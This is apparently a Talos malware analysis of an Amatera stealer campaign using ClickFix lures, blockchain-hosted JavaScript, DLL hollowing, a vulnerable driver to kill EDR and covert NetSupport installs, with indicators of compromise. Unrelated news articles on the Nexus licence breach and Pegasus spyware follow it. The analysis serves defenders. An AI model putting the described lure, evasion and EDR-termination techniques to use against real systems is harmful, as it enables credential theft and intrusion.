• Cisco Talos began an investigation after observing a DLL named "verification.google" executing from WebDAV at a Ukrainian government organization. We assess with moderate confidence that the attacks are not targeted at a particular organization, but are a part of a cryptocurrency and credentials-stealing operation using the Amatera stealer as the primary payload. 
• Pivoting around the similar WebDAV behavior led to a second loader named "pf.ch" and allowed us to reconstruct its earlier delivery stages. The chain uses a Cloudflare Worker to inject JavaScript code stored on BNB Smart Chain and a ClickFix prompt impersonating Google CAPTCHA, leading to download and execution of Amatera stealer. The chain is likely very similar to what has caused the WebDAV-based execution at the Ukraininan government organization.  
• The two Amatera builds were tasked with different secondary payloads by their respective command-and-control (C2) infrastructure: the "pf.ch" loader was instructed to deploy a NativeAOT loader running ZigCryptoStealer and a Go-based reverse proxy, while the "verification.google" loader was instructed to install an unauthorized instance of NetSupport Manager. 
• The NetSupport Manager installation contained configuration with the C2 server using an IP address based in Russia. With moderate confidence, we assess that "verification.google" branch attack was conducted by a Russian threat actor.  

 In April 2026, Cisco Talos identified an unusual WebDAV DLL execution in endpoint telemetry from a Ukrainian government organization. The remote file was named "verification.google" and was launched through the 32-bit version of "rundll32.exe". This initial finding led us to two similar delivery chains, two different DLL loaders and two ACR/Amatera stealer payloads. Talos tracks the actor behind the observed "verification.google" activity as UAT-10820. 

Following the initial investigation, we decided to hunt for similar WebDAV and ordinal-execution patterns in an attempt to recover the full infection chain. Using VirusTotal, we were able to identify a full chain from a second DLL loader named "pf.ch".  

These two examples are a part of a wider set of recent campaigns delivering Amatera through different infection chains. In July 2026, Malwarebytes documented fake game and software downloads that used RenPy Loader, MSBuild and EtherHiding before delivering Amatera. Blackpoint Cyber described another fake-verification chain that used a signed Microsoft App-V script, configuration stored in Google Calendar and a payload concealed in a PNG image. Apart from the main payload malware family, we found no common infrastructure or other evidence linking those activities to the chains described in this post. 

Initial finding in endpoint telemetry 

The initial event that started the investigation was recorded in April 2026 and it showed an execution of a DLL file through a WebDAV UNC path together with startup of the Windows WebClient service. Apart from the initial command line, we had details of the checksum of the executed DLL but it was not clear what started the execution chain. It was time for hunting in open source intelligence repositories and Talos analytical platform. We wanted to find a similar execution with the similar loader and the payload family and ideally recover the whole infection chain which would likely point to how "verification.google" execution was triggered. This lead us to the "pf.ch" loader and the chain we discovered.  

Hunting reveals a second WebDAV delivery chain 

The "pf.ch" sample uses the same combination of WebDAV, a disguised DLL filename and ordinal execution through "rundll32.exe". We were also able to recover the full ClickFake related sequence leading to this loader. Figure 1 shows both chains, with dashed elements marking stages that were not directly recovered. With low to medium confidence, we assess that the two delivery chains are identical. 

The discovered "pf.ch" loader chain was initiated by ClearFake Javascript injected into the content of a compromised site by a malicious Cloudflare worker.  

The C2 server returned configuration instructing the stealer to download a DLL side-loading package in which a signed Chrome component sideloads a malicious NativeAOT DLL, "secur32.dll". The DLL loads ZigCryptoStealer and uses a vulnerable driver to terminate EDR software. A separate x86 shellcode loader with a Go reverse TCP proxy is also downloaded as a secondary payload by the Amatera configuration sent by the C2 server.  

The secondary payload of the "verification.google" branch as instructed by its own C2, is a PowerShell script which attempts to install a sample of NetSupport Manager remote access tool. 

ClearFake retrieves browser code from BNB Smart Chain 

The "pf.ch" branch begins likely on a compromised website. A Cloudflare Worker injects a malicious JavaScript which queries BNB Smart Chain testnet contract 0x886d310Ac23e05EA705e24E513D19f53793832A9 through "bsc-testnet-rpc[.]publicnode[.]com".  

BNB Smart Chain is a public, Ethereum-compatible blockchain hosting transactions and smart contracts. The actor uses the contract as remotely changeable storage for encoded JavaScript, a technique known as EtherHiding. Based on the operating system of the victim’s machine, the JavaScript code retrieves the next stage from the blockchain, which acts as a bulletproof hosting provider for the malicious code. Potent Pages previously documented unauthorized Cloudflare Workers querying the same first stage contract. 

The initial Javascript code contains routines to check for local and headless browser environments, identifies the operating system, and queries a second contract based on the result of the operation. If the victim is running Windows, it retrieves code from 0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff and if the victim is running macOS, it uses 0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5. The response is Base64 decoded and evaluated as JavaScript. 

The Windows browser stage creates a victim identifier, stores it in the cjs_id cookie and asks a tracking contract whether the goal for that identifier has already been reached. If the browser is not headless and the target is Windows, the script overlays a fake Google CAPTCHA-style checkbox onto the compromised page, instructing the victim to open the Windows Run dialog, paste the clipboard contents, and press Enter. 

​ The copied command opens a WebDAV path on a randomized subdomain of "leaguejazire[.]com", places the victim identifier in the path, and executes "pf.ch" through ordinal #1. 

Censys documented the same Windows and macOS contracts in a blockchain-backed ClickFix chain, although the downstream payloads in that reporting differ from those analyzed here. 

The macOS browser stage uses the same headless-browser checks, victim tracking, and fake verification design, but its execution chain is different. It instructs the victim to open Terminal and paste a command that uses curl with a macOS user-agent string. The request goes to a subdomain of "riyazinikokar[.]xyz". Since the subject of our initial research was a customer running Windows, we have not further pursued the macOS side of the "pf.ch" branch.  

WebDAV launches disguised DLLs 

Both observed variants retrieve a 32-bit DLL over WebDAV using a file extension name that does not indicate it is a standard DLL file. Both use the 32-bit "rundll32.exe" process and invoke a function by calling the function ordinal #1. The corresponding first exports are moor in "pf.ch" and CfgInspectModuleData in "verification.google". 

Different initial loaders 

Although the WebDAV execution pattern is the same the two initial loaders use different code and protection methods. 

"pf.ch" uses exception-driven control flow 

The "pf.ch" loader is a packed 32-bit DLL whose only named export is moor with import table containing only AddVectoredExceptionHandler and __mb_cur_max functions.  

The packed code uses vectored exception handling, XOR loops, API hashing, and control-flow patterns, which makes the static analysis of the code more difficult. After the initialization, one of its threads is waiting for an event named hit. Once the event is triggered, it copies an embedded blob into memory and transfers control to it using Windows fibers. The next stage decoder uses XOR and LZNT1 to decode the final Amatera payload. 

The unpacked PE file, an Amatera sample, is also 32-bit, has no import table, and resolves APIs by walking loaded module export tables. The sample uses 32-to-64-bit transitions to execute system calls, possibly in an attempt to evade EDR hooks.  

The sample contains the build label 4.1.5-alpha and string GETWELLV2. Amatera is known to use the Steam community profiles as C2 dead drop resolvers, and the GETWELL2 string was observed in some previous samples as a name of a Steam community profile used to retrieve the IP address of the C2 server. Once C2 server address is resolved, the main configuration is downloaded.  

The Amatera payload was recovered only as a memory-resident artifact and was not observed to be written to disk. Its hash is nonetheless included in the indicator of compromise (IOC) list below, as memory derived hashes remain applicable to memory scanning. 

"verification.google" uses DLL hollowing in "dbghelp.dll" 

The "verification.google" variant does not immediately unpack its payload. It first prepares the state and then passes execution through a callback. The callback is registered using the dynamically resolved function TpAllocWork, an undocumented native NT internal function in "ntdll.dll". The callback is later executed asynchronously by Windows. The callback function implements most of the malicious unpacking functionality in a large control flow flattening loop. 

The loader resolves functions by hash, derives execution state from the environment and implements direct WoW64 syscall stubs. The stubs decode syscall numbers at runtime and call the WoW64 transition pointer instead of the corresponding exported "ntdll.dll" functions. 

The loader reconstructs its next stage from data in the .rdata section. It first maps a clean image of the legitimate "dbghelp.dll" in memory and then overwrites the beginning of its code section with the unpacked next stage. Finally, it restores executable protection before transferring control to the overwritten code section of the "dbghelp.dll".  

This module overwriting (stomping) technique is also known as DLL hollowing or module overloading. VMRay’s technical overview of DLL hollowing describes the same core sequence: loading a legitimate DLL, overwriting its mapped code with malicious content, and executing from that overwritten region. G DATA documented module stomping in a HijackLoader chain that delivered ACRStealer, using different DLLs, "evr.dll", and "rasapi32.dll" rather than the "dbghelp.dll" observed in our case. 

Amatera C2 configurations 

"pf.ch" loaded Amatera resolves its C2 through a Telegraph page 

Before starting its Amatera C2 session, the Amatera sample used in "pf.ch" branch constructs the dead drop C2 URL "https[:]//telegra[.]ph/Functions-04-03". At the time of analysis, the page looked like a short Rust programming tutorial titled “Functions.” with an altered code example containing the string r.]MTQ1LjI0OS4xMDkuMTQ3)0(. 

​ The raw HTML places the same value inside a println statement.  

Decoding MTQ1LjI0OS4xMDkuMTQ3 produces “145.249.109[.]147” as its C2 address.  

After resolving the address, the payload generates WoW64 transition gates, opens an Auxiliary Function Driver (AFD) socket and connects directly to "145.249.109[.]147" on TCP port 443.  

After connecting to the C2 server, Amatera connects to the GetEndpoints URL on the server. The response supplies randomized URI paths for different C2 functions. The stealer then uses the configuration path, together with an embedded build identifier, to retrieve its information collection rules.  

In the "pf.ch" build, a TLS-decoded HTTP buffer we were able to analyse contained a nonzero session identifier and an opaque 73-byte body whose framing is consistent with the ECDH and ChaCha20-Poly1305 protocol documented for recent Amatera versions.  

After removal of the transport and application encryption layers, the configuration is first Base64 decoded and then XOR decoded with the key 852149723\x00, before parsing it as a JSON object.  

Apart from the rules for stealing data the received configuration also contained the instructions to load secondary payloads in a ld (load) json array.  

The ld field is an array of secondary loader tasks supplied by the Amatera controller. Within each entry, u is the download URL, tf selects the payload type and tr selects file-based (1) or fileless (2) execution. The loader supports executables, DLLs, command scripts, PowerShell, raw shellcode and MSI packages, which is described by the field tf. The p value determines task order, with lower positive values processed first. 

"verification.google" loaded Amatera configuration 

The "verification.google" Amatera build stores its bootstrap controller as an encrypted string. At runtime, it decrypts the fixed address "45.150.34[.]2" and connects to it directly on TCP port 443, while presenting "github[.]com" as the TLS server name and HTTP Host value. Unlike the "pf.ch" build, it does not use a public dead-drop resolver to obtain its initial C2 address. After connecting, it sends the GetEndpoints command to obtain working endpoints used for subsequent communication.  

As in the "pf.ch" Amatera payload the first accessed C2 URL is GetEndpoints. This branch’s configuration contains over 400 entries across its browser, extension, messaging, wallet, and other-application collection lists, plus four file collection rules.  

The application rules in the configuration blob extend the initial browser related information collection to Telegram, Signal, WhatsApp, and other messaging data. They also cover over 100 desktop wallet locations and credential data from password managers, authenticators, FTP clients, mail clients, VPN software, and remote-access tools. Representative targets include KeePass, Bitwarden, 1Password, RoboForm, NordPass, WinAuth, Authy, FileZilla, AnyDesk, NordVPN and AzireVPN. 

Four file grabber rules cover the Desktop, Downloads, Documents and Windows Recent-items directory. Across those rules, more than 100 unique filename and extension patterns look for private keys, wallet backups, API and OAuth material, two-factor authentication data, password databases and certificate files such as .kdbx, .p12, .pfx and .pem. Most of the collection rules are focused on stealing cryptocurrency related data and credentials.  

Amatera secondary payloads 

Further on, we focus on the secondary loader tasks, which may point to a more advanced threat actor, based on the installed secondary payload type. 

The "pf.ch" Amatera build received two secondary tasks. One deployed a NativeAOT loader and ZigCryptoStealer, while the other ran a Go reverse TCP proxy from memory. The "verification.google" build received a PowerShell task that installed NetSupport Manager.  

NativeAOT chain runs ZigCryptoStealer 

The "jquery.min.js" entry has priority 1, so Amatera processes it first. Its tf: 1 and tr: 1 values select the file-based executable handler. The server response does not have to be a PE file but it can also be an archive file. When this handler receives an archive, the loader extracts it to a temporary directory, enumerates the resulting *.exe file and launches the selected executable. The most recently observed response was a ZIP archive, SHA-256 279d04c0cfd700c8bcb9acbed528131d3ffef8e25d12713e8649772739aecb92.  

The archive included the file "platform_experience_helper.exe", a legitimate Google Chrome component. The executable imports GetUserNameExW from "Secur32.dll", which is a malicious DLL file in the archive which gets sideloaded by the Chrome component.  

The side-loaded "Secur32.dll" is a NET NativeAOT loader which decrypts and loads 2 PE files. The first file is a user mode payload and the second a vulnerable driver used to ter. The NativeAOT DLL starts “C:\Windows\"explorer.exe" in a suspended state, manually maps the PE’s headers and sections into the child, changes its initial thread context to the new entry point, and resumes it.  

The payload is a cryptocurrency stealer written in Zig language — ZigCryptoStealer. It polls the clipboard, recognizes several cryptocurrency address formats and can replace matching values with addresses embedded in the payload.  

The payload makes a separate JSON-RPC eth_call through "bsc[.]rpc[.]blxrbdn[.]com" to BNB Smart Chain contract 0x7CC3cFC1Ac007B8c6566fD2C7419b15a75473468. This is a second use of EtherHiding in the infection chain, this time by the final payload rather than the browser delivery framework. VMRay has previously documented ZigCryptoStealer variants using BNB Smart Chain contracts as a dead drop for C2 configuration.  

ZigCryptoStealer disguises the request as a routine query for an ERC-20 token balance. It supplies a randomly generated cryptocurrency address, but the smart contract ignores it and instead returns text stored by the operator. The operator can change this text using the contract's setData(string) function. During our analysis, the contract returned "lb[.]propertyfind[.]cc", which ZigCryptoStealer then used as its C2 domain. 

The contract was deployed on March 16, 2026. The same wallet that deployed it made 39 successful setData calls through July 26. These calls provide a public history of the C2 values supplied to the malware with six domains active during July: 

Talos used Cisco Umbrella to observe DNS activity for all six domains while they were active. The two most recent values also had the broadest query distribution. Umbrella data includes DNS quaries from 38 countries for "static[.]quorashift[.]cc" and 98 for "lb[.]propertyfind[.]cc". Queries for the current value came most often from the United States, Indonesia, Brazil, India, and Egypt.  

Passive DNS shows that all six domains resolved through shared Cloudflare addresses.  

The second decrypted PE is a signed Windows driver whose version information contains the names MOCOMSYS & DCRC and DCRCV_U Driver (for SCM). Its original filename is "DCRCVDrv.sys", and it exposes the device \Device\DCRCVDRV_U.  

The NativeAOT loader enumerates running processes, hashes their names, and compares the hashes with an internal target list of EDR software and other security tools. For every matched process name, it sends the process identifier to the driver with IOCTL 0x2205c0. The driver’s handler accepts the four-byte PID, obtains a process handle and calls ZwTerminateProcess. We found no caller authorization check in that IOCTL branch. This gives the loader a kernel-mode process-termination primitive, a BYOVD driver. 

​

Go payload turns the host into a reverse TCP proxy 

The URL for the second secondary payload of the "pf.ch" branch yielded a binary shellcode blob with SHA-256 643ef35536ff9273fb84b8504467b1a5645cd3ffd5476d64b99244b02131b205. 

The 32-bit shellcode walks the process environment block (PEB) to find "ntdll.dll" and resolves LdrLoadDll, NtAllocateVirtualMemory, NtProtectVirtualMemory and NtFreeVirtualMemory . It then decrypts and decompresses the final payload stored in the shellcode using XOR to decrypt and LZNT1 to decompress the compressed proxy payload. 

The unpacked file has SHA-256 1819827e17f31e72d456158b6b9c90af25a65945f6f05d04a060da9f24179b25. 

The payload is a Golang 32-bit Windows executable with main package “github.com/acr/proxy-panel/cmd/bot”. It includes HashiCorp Yamux network multiplexing library with C2 hardcoded “wss://"update[.]dubbedmuch[.]cc"/”. 

The proxy reads the Windows MachineGuid and hostname, then sends them over WebSocket Secure (wss) protocol. After the C2 server accepts the client, the program creates a Yamux server session, multiplexing outgoing communications over the same connection. Each logical stream supplies a source and destination address. The client connects to the requested destination and relays bytes in both directions. 

​ PowerShell in the "verification.google" branch installs NetSupport Manager 

The secondary payload in this branch is "https://kr[.]cedar2glanz[.]ru/jewel[.]js". The tf value 4 of the single secondary payload loader instruction (ld) identifies the payload as PowerShell. The tr value 2 selects the execution path that retrieves the URL with PowerShell DownloadString and runs it through Invoke-Expression (IEX). Proofpoint’s Amatera analysis documents the same ld, tf and tr semantics in more details.  

The next PowerShell stage dynamically resolves native functions and runs an environment check before installing the payload containing the following steps: 

• It queries the C: volume serial and compares it with the hard-coded value 4E014A2F. The original expression returns true when this value matches, allowing execution to continue early and skipping the remaining checks.  
• It calculates system uptime from Win32_OperatingSystem.LastBootUpTime. An uptime below 10 minutes returns false, causing the script to exit. 
• It measures a native 500 ms NtDelayExecution call with GetTickCount64. If fewer than 400 ms appear to elapse, the gate returns false, which can identify an environment that accelerates or skips delays. 
• It checks the processor count. Fewer than three processors unexpectedly returns true and allows execution to continue early rather than rejecting the low-resource system. 
• It queries total physical memory. A reported value below 3.2GiB returns false. 
• It queries Win32_VideoController and selects the largest reported AdapterRAM value. A reported maximum below 384 MiB returns false. 
• It checks display-device friendly names and manufacturers against 36 strings associated with virtual graphics, remote displays, cloud platforms and generic virtual adapters. A match returns false. 

After the environment checks, the script derives an installation path by hashing MachineGuid|zdozwoqx3c. It also starts two background Powershell runspaces that request many legitimate URLs, including GitHub API, npm, Docker Hub, PyPI, NuGet, and PowerShell Gallery. The requests seem to generate decoy traffic to hide the malicious download within plausible developer activity. 

The script downloads "https://phys[.]stunned-amniotic[.]com/hub[.]log". Although the logs at the targeted system in Ukraine contained no evidence of accessing this URL we were able to download the file that was likely intended to be downloaded and executed by the Amatera stealer payload.  

The response at the time of analysis was a ZIP file with SHA256 bd36f4c15fe0acb6748da5ed12e45dcc37d412385812c078d1e4f04730e9f69b. Finally, the PowerShell validates ZIP entry paths, extracts the archive in the %APPDATA% directory, and starts "hypersnap.exe" executable without a visible window and creates a scheduled task triggered at user logon. 

The ZIP contains legitimate NetSupport Manager software 

The launched "hypersnap.exe" is a renamed, signed NetSupport Manager 12.44 "client32.exe". The "client32.exe" stub calls the export _NSMClient32@8 in signed "PCICL32.DLL", the main NetSupport client runtime containing the main functionality of the remote access platform.  

The actor-controlled "client32.ini" NetSupport Manager configuration enables silent operation, hides the system-tray interface, disables visible chat, message, disconnect, replay and help controls and configures "paternal-angrily[.]com:443" as the NetSupport HTTP Gateway. 

The client connects to the gateway, which acts as a proxy between the threat actor and the NetSupport Manager client installation at the victim system. The NetSupport client was configured to poll the gateway every 60 seconds. At the time of the analysis the domain resolved to the IP address "212.118.56[.]166", based in Russia.  

The NetSupport deployment used a license issued as KAKAN, with serial number NSM789508. The exact license file has appeared in numerous malicious NetSupport packages, including activity publicly tracked as EVALUSION and IClickFix. We therefore treat it as an indicator of shared deployment lineage rather than a unique threat actor identifier. 

NetSupport adds an operator driven capability after Amatera’s automated collection. Amatera steals configured credentials, session data, cryptocurrency material, and selected files. An unauthorized NetSupport client can then provide screen and input control, file transfer, inventory, process and service management and remote command or PowerShell execution. This could let an operator inspect data outside Amatera’s predefined rules, act on sessions from the original endpoint, or deploy additional tooling.  

Indicators of compromise (IOCs) 

The IOCs for this threat are also available at our GitHub repository here. 

An ASUS vulnerability (CVE-2026-19397) lets a nearby attacker take over a host, while an Armoury Crate flaw leaks NTLM hashes. Update now.

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Pegasus spyware infected a Serbian activist through a zero-click iMessage exploit, part of Serbia's largest spyware wave. Update iOS now.

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An ASUS Control Center vulnerability, CVE-2026-75754 (CVSS 10), gives unauthenticated attackers a root shell. Update to v3.1.0.9 now.

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FBI probes suspected breach at IDScan.net after dark web service Nexus offered 153M+ US and Canadian driver’s license scans.

A dark web identity theft service called Nexus appeared on September 1, 2026, offering searchable access to more than 153 million scanned driver’s licenses belonging to people in the United States and Canada.

The FBI’s New Orleans field office opened a formal investigation the same day. Brian Krebs at KrebsOnSecurity, who broke the story, traced the source to idscan.net, a New Orleans-based identity verification company whose clients include Hertz, Target, FedEx, Motorola Solutions, Caesars Entertainment, and the financial services firm Jack Henry.

“On Monday, Aug. 31, a source alerted KrebsOnSecurity to a service advertised by a new user on the Russian cybercrime forum Exploit, offering access to digital scans of identity documents on more than 170 million people in North America. The source brought it to my attention because the proprietor of this identity theft service offered my Virginia drivers license as a free sample in their initial sales thread on Exploit.” wrote Krebs. “The service, dubbed Nexus, claims to have more than 153 million drivers licenses for people in the United States and Canada, as well as more than 10 million identification cards; more than three million travel documents and/or international IDs; and at least 579,000 medical cards.”

The record total was also increasing by roughly 400,000 per day at the time of publication, which the operators attributed to ongoing active exfiltration from a live breach they claim has been running for over a year.

Krebs found his own driver’s license in the database after a source alerted him to the service. The operators had posted his Virginia license as a free sample on the Russian cybercrime forum Exploit. Each record contains six images of the license, showing the front and back in visible, infrared, and ultraviolet light, with a timestamp. Krebs’ timestamp matched a June 2025 flight and car rental.

He then checked nine friends and relatives, and everyone who found their license confirmed traveling or renting a car around the same date. His license and his mother’s, who rented a Hertz car with him that day, had timestamps just seconds apart.

Security researcher Zach Edwards, whose license also appeared in Nexus, narrowed the source further. His timestamp matched a trip to Las Vegas for DEF CON in August. He hadn’t rented a car, but he had shown his license at a marijuana dispensary: Planet13, a multi-state chain. In 2022, idscan.net published a press release announcing an exclusive identity verification partnership with Planet13’s dispensaries nationally. The company now serves more than 1,000 marijuana dispensaries in 19 states, and its own documentation confirms that its technology scans IDs with both infrared and ultraviolet light, precisely the format of the images appearing in Nexus.

Idscan.net performs more than 21 million verifications per month at more than 20,000 locations globally. Its client list spans car rentals, retailers, hotels, financial services, and dispensaries, which explains both the volume and the geographic spread of the records. The dataset also includes marijuana dispensary cards and records marked with the notation “CAC,” which may refer to Common Access Cards, the government-issued credentials used to enter federal buildings and secure facilities. If confirmed, that would significantly expand the security implications beyond consumer identity theft.

The database reportedly contained the driver’s licenses of U.S. Defense Secretary Pete Hegseth and the FBI’s assistant director, but not FBI Director Kash Patel’s.

Idscan.net said Krebs’ findings would help its internal investigation but gave no further details. The company later said it was working with law enforcement and forensic experts. Soon after the story became public, the Nexus service went offline.

Identity verification systems that require driver’s licenses are spreading sensitive data across an expanding network of third-party vendors, and oversight mechanisms haven’t kept pace. Every bar, hotel, car rental counter, dispensary, and age-verification system that scans an ID is creating a copy of that image in a system whose security posture the cardholder has no way to assess.

The idscan.net incident, if confirmed at the reported scale, would be among the largest exposures of government-issued identity document images ever recorded.

Krebs reports that Nexus shut down after his article, while the FBI opened an investigation after learning that stolen IDs may include licenses belonging to FBI agents.

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, Nexus)

Serbian activists were targeted with zero-click Pegasus and NoviSpy spyware, exposing a major surveillance campaign ahead of elections.

A member of Serbia’s student protest movement had their iPhone infected with NSO Group‘s Pegasus spyware without ever clicking a link or opening a file. The Citizen Lab confirmed the infection in collaboration with the SHARE Foundation, tracing it to an iMessage zero-click exploit and identifying high-confidence indicators of compromise between December 2025 and January 2026, with the possibility of additional infections not ruled out.

“In collaboration with the SHARE Foundation, the Citizen Lab analyzed forensic artefacts from the iPhone of a member of Serbia’s student protest movement after they received an Apple Threat Notification warning of targeting with mercenary spyware.” reads the report published by Citizen Lab. “Our analysis confirmed that an iMessage zero-click exploit was used to infect the device with NSO Group’s Pegasus spyware. “

The attack required no action from the victim, which makes zero-click attacks especially dangerous. Citizen Lab said the Pegasus infection could stay hidden while giving the attacker full access to the phone, including messages, photos, notes, microphone, and camera. Apple later fixed this specific exploit through security updates in iOS 18.4.1.

“We believe that the zero-click exploit used in this attack targeted Apple iMessage, and has subsequently been patched by Apple as of iOS 18.4.1.” continues the report. “A zero-click infection with Pegasus spyware would not have been visible to the target, and would give the Pegasus attacker total access to the device. Pegasus allows an attacker to do anything that a user can do, ranging from accessing private data like notes, pictures and even encrypted messages. Pegasus also has the ability to covertly enable the phone’s microphone and camera.”

This one confirmed infection sits inside something considerably bigger. The SHARE Foundation has documented at least 14 individuals targeted with advanced spyware since early 2026, spanning student movement members, civil society activists, an opposition member of parliament, and a local councilor, which the organization is calling the largest documented surveillance wave in Serbia’s history. Twelve people approached SHARE’s digital forensics team in August after receiving Apple’s own threat notifications, warnings the company sends when it detects likely state-sponsored spyware targeting; eleven of those devices remain presumed infected pending further forensic confirmation.

The timing lines up uncomfortably well with Serbia’s political calendar. This surveillance wave coincides with local elections held on March 29, 2026, and stretches toward planned early parliamentary elections in October, following months of student-led anti-government and anti-corruption protests.

“These notifications and forensic confirmation highlight the aggressive mercenary spyware targeting of the peaceful pro-democracy movement with mercenary spyware ahead of key 2026 election cycles.” continues the report.

Targeting activists and opposition figures specifically in the run-up to elections isn’t subtle, and it fits a pattern Serbia has shown before.

Serbia has a history of using commercial spyware. Citizen Lab previously documented Pegasus targeting civil society and the use of Cellebrite tools to install the locally developed NoviSpy on activists’ phones. In this case, SHARE Foundation and Amnesty Tech found a new version of NoviSpy on a student activist’s Android phone after Serbian authorities seized it during police questioning.

Amnesty International’s Security Lab head, Donncha Ó Cearbhaill, connected the dots plainly between state custody and spyware installation.

“The forensic findings by SHARE prove that Serbian students continue to be targeted with invasive Android spyware tools, installed while detained by Serbian authorities” he said.

If you’ve received an Apple Threat Notification, whether in Serbia or anywhere else, the Citizen Lab’s guidance is unambiguous: treat it as a presumed infection and get expert help immediately rather than waiting to see if anything seems wrong. Individuals in Serbia should contact the SHARE Foundation directly, and anyone elsewhere can reach Access Now’s Digital Security Helpline, which supports journalists, human rights defenders, and other high-risk civil society targets worldwide. Anyone who suspects they might be a target based on their work or public role should also turn on Lockdown Mode, Apple’s built-in feature that significantly narrows what a zero-click exploit can actually reach, and keep every device updated, since the patch that closed this specific hole has already existed for well over a year for anyone who installed it.

“We believe that the zero-click used in this attack has been rendered ineffective by a patch from Apple in recent iOS versions. We urge everyone, especially those facing increased risks because of who they are or the work they do, to keep all devices updated.” concludes the report. “Click HERE for instructions on how to keep your iPhone up to date.”

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, Pegasus)

A Virtualizor supply-chain attack used a 33-hour BGP hijack to deliver malicious updates, planting root backdoors on VPS hosts. Back up your data now.

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A new dark web platform called Nexus claimed to be selling 153 million driver’s license scans and millions of other identity and medical cards.

The collection included more than 153 million driver’s licenses, 10 million ID cards, 3 million travel documents, and 579,000 medical cards, including marijuana dispensary cards, according to reports.

The trove of driver’s license scans reported by KrebsOnSecurity is a sharp reminder that identity verification is not a harmless box-ticking exercise.

The FBI’s New Orleans field office has opened an investigation into an apparent breach involving identity verification provider IDScan.net. The company said it was investigating.

IDScan.net advertises as follows:

“We provide simple, secure solutions to help dispensaries reduce liability and protect their licenses by validating IDs, including a customer’s age, in a matter of seconds.”

The allegedly exposed records were especially concerning because some included more than a basic photo of an ID. KrebsOnSecurity found records containing front-and-back images, as well as infrared and ultraviolet scans, with timestamps that appeared to align with the holders’ travel or car-rental activity.

That matters because a driver’s license is far more useful to an identity thief than a password. You can reset a password. You cannot easily replace your face, date of birth, address, or license number, particularly when they’re accompanied by high-resolution images of your government-issued ID.

The age-verification problem

Age verification has become a common justification for asking people to upload an ID, take a selfie, or submit both to a third-party identity verification provider.

We have previously warned about the privacy and security trade-offs in age-verification systems, particularly those that require people to submit copies of government-issued ID. Such systems can turn a request to access a website into a decision to share an enduring identity document with a company the user may never have heard of.

In our opinion, that is a disproportionate risk. Once someone uploads an ID, the service or its vendor can potentially link the visit to their identity. If the provider is breached, the consequences can extend well beyond unwanted marketing or an exposed email address.

The reported Nexus dataset illustrates a broader concern: Identity documents are collected in many places that people may not connect with one another. Each individual collection may be presented as routine, but together they create an ever-expanding ecosystem of organizations, contractors, software platforms, cloud services, and privacy policies.

Facial images and ID copies can be reused. Criminals may use them to make scams more convincing, pass weak identity checks, or assemble detailed victim profiles from records obtained from separate breaches. An attacker who knows your name, address, date of birth, email address, and license details has a useful foundation for fraud.

This is why “we only need to verify your age” should not automatically mean “please upload your driver’s license” or another form of ID.

How to stay safe

When an ID check is required to use an online service, ask a basic question: Why does this company need a copy of my identity document, and what happens to it afterward? The scale of the data reportedly offered through Nexus shows why the answer matters.

Consumers cannot always refuse an ID check, particularly where it is legally required or necessary for a regulated service. But you can reduce unnecessary exposure:

• Ask whether an ID image is stored and, if so, for how long.
• Check whether the company uses a third-party identity verification provider.
• Prefer services that offer a privacy-preserving age check rather than requiring a full ID upload.
• Avoid submitting identity documents to sites you do not trust or did not intend to use.
• Do not email copies of IDs unless there is no safer alternative and you have independently verified the recipient.
• Be alert for phishing, account-recovery scams, and fraudulent credit applications if you believe your ID may have been exposed.
• Consider a credit freeze where available.

Let’s face it, an incognito window can only do so much. 
 
Breaches, dark web trading, credit fraud. Malwarebytes Identity Theft Protection monitors for all of it, alerts you fast, and comes with identity theft insurance. 

A new identity theft service launched on the dark web this week is selling digital scans of more than 153 million drivers licenses from people in the United States and Canada. Based on interviews with individuals whose licenses are available for purchase on this service, it appears to be siphoning images collected by a widely-used identity verification company based in Louisiana. KrebsOnSecurity also has learned that the New Orleans field office of the Federal Bureau of Investigation (FBI) today launched an official inquiry into the source of the images.

A record available at this identity theft service that includes the drivers license for U.S. Defense Secretary Pete Hegseth, one of several high-ranking U.S. government officials whose drivers licenses can be found for sale.

On Monday, Aug. 31, a source alerted KrebsOnSecurity to a service advertised by a new user on the Russian cybercrime forum Exploit, offering access to digital scans of identity documents on more than 170 million people in North America. The source brought it to my attention because the proprietor of this identity theft service offered my Virginia drivers license as a free sample in their initial sales thread on Exploit.

The service, dubbed Nexus, claims to have more than 153 million drivers licenses for people in the United States and Canada, as well as more than 10 million identification cards; more than three million travel documents and/or international IDs; and at least 579,000 medical cards.

A quick look around Nexus finds they are likely not exaggerating about that 153 million number: Running a blank search in Nexus (with no search parameters entered) returns approximately 11.5 million pages of results, with roughly 15 results displayed per page. It includes documents from people in both Canada and the United States, but the bulk of these records are on Americans: searching for just Canadian drivers licenses returns approximately 1.1 million results, with the largest concentration from Ontario (473,673 records).

Curiously, the identity records include not only drivers licenses but also marijuana dispensary cards. Some of the records list their “source” as “CDL,” presumably short for “commercial drivers license.” Other records carry the source notation of “CAC,” which may refer to Common Access Cards, government issued identity cards that grant physical access to government buildings and secure rooms.

The people behind Nexus claim the license images are coming from an active breach at “a major identity verification company” whose customers include multiple Fortune 500 companies.

The record totals listed by the Nexus identity theft service. The number of drivers license records increased by nearly 400,000 in the span of just 24 hours.

“We have been continuously exfiltrating new data for over a year into our private database,” the service enthused in its introductory post on Exploit. “Records are available to preview before purchase with pertinent information redacted. Customer photos are displayed if available.”

Indeed, over the past 24 hours, the number of drivers license records listed as available in Nexus has increased by nearly 400,000, suggesting that freshly stolen license data is being harvested and uploaded to this service on a semi-regular basis.

The record featuring my drivers license includes six image files: three pairs of photos of the license’s front and back, a basic image scan, as well as infrared and ultraviolet versions of the same images. A date and timestamp is appended to each image file, and the timestamp on my license scan corresponds to a date in June 2025 when I took a flight to the midwest United States to attend a family funeral.

Some of the 153 million+ license scans — including mine — feature six image files with date and timestamps appended to the filenames. Not all records include photos, and some that do feature photos do not display the associated filenames.

Intent on discovering the source of this data, KrebsOnSecurity asked more than a dozen friends and family members for permission to search for their licenses in this service. Each person whose license could be found (nine of them) confirmed having traveled on or very close to the dates in the timestamps attached to their images. It is unclear what timezone these timestamps are in, but from reviewing car rental records shared by several people who helped with this research, it appears the timezone is set to Greenwich Mean Time (GMT).

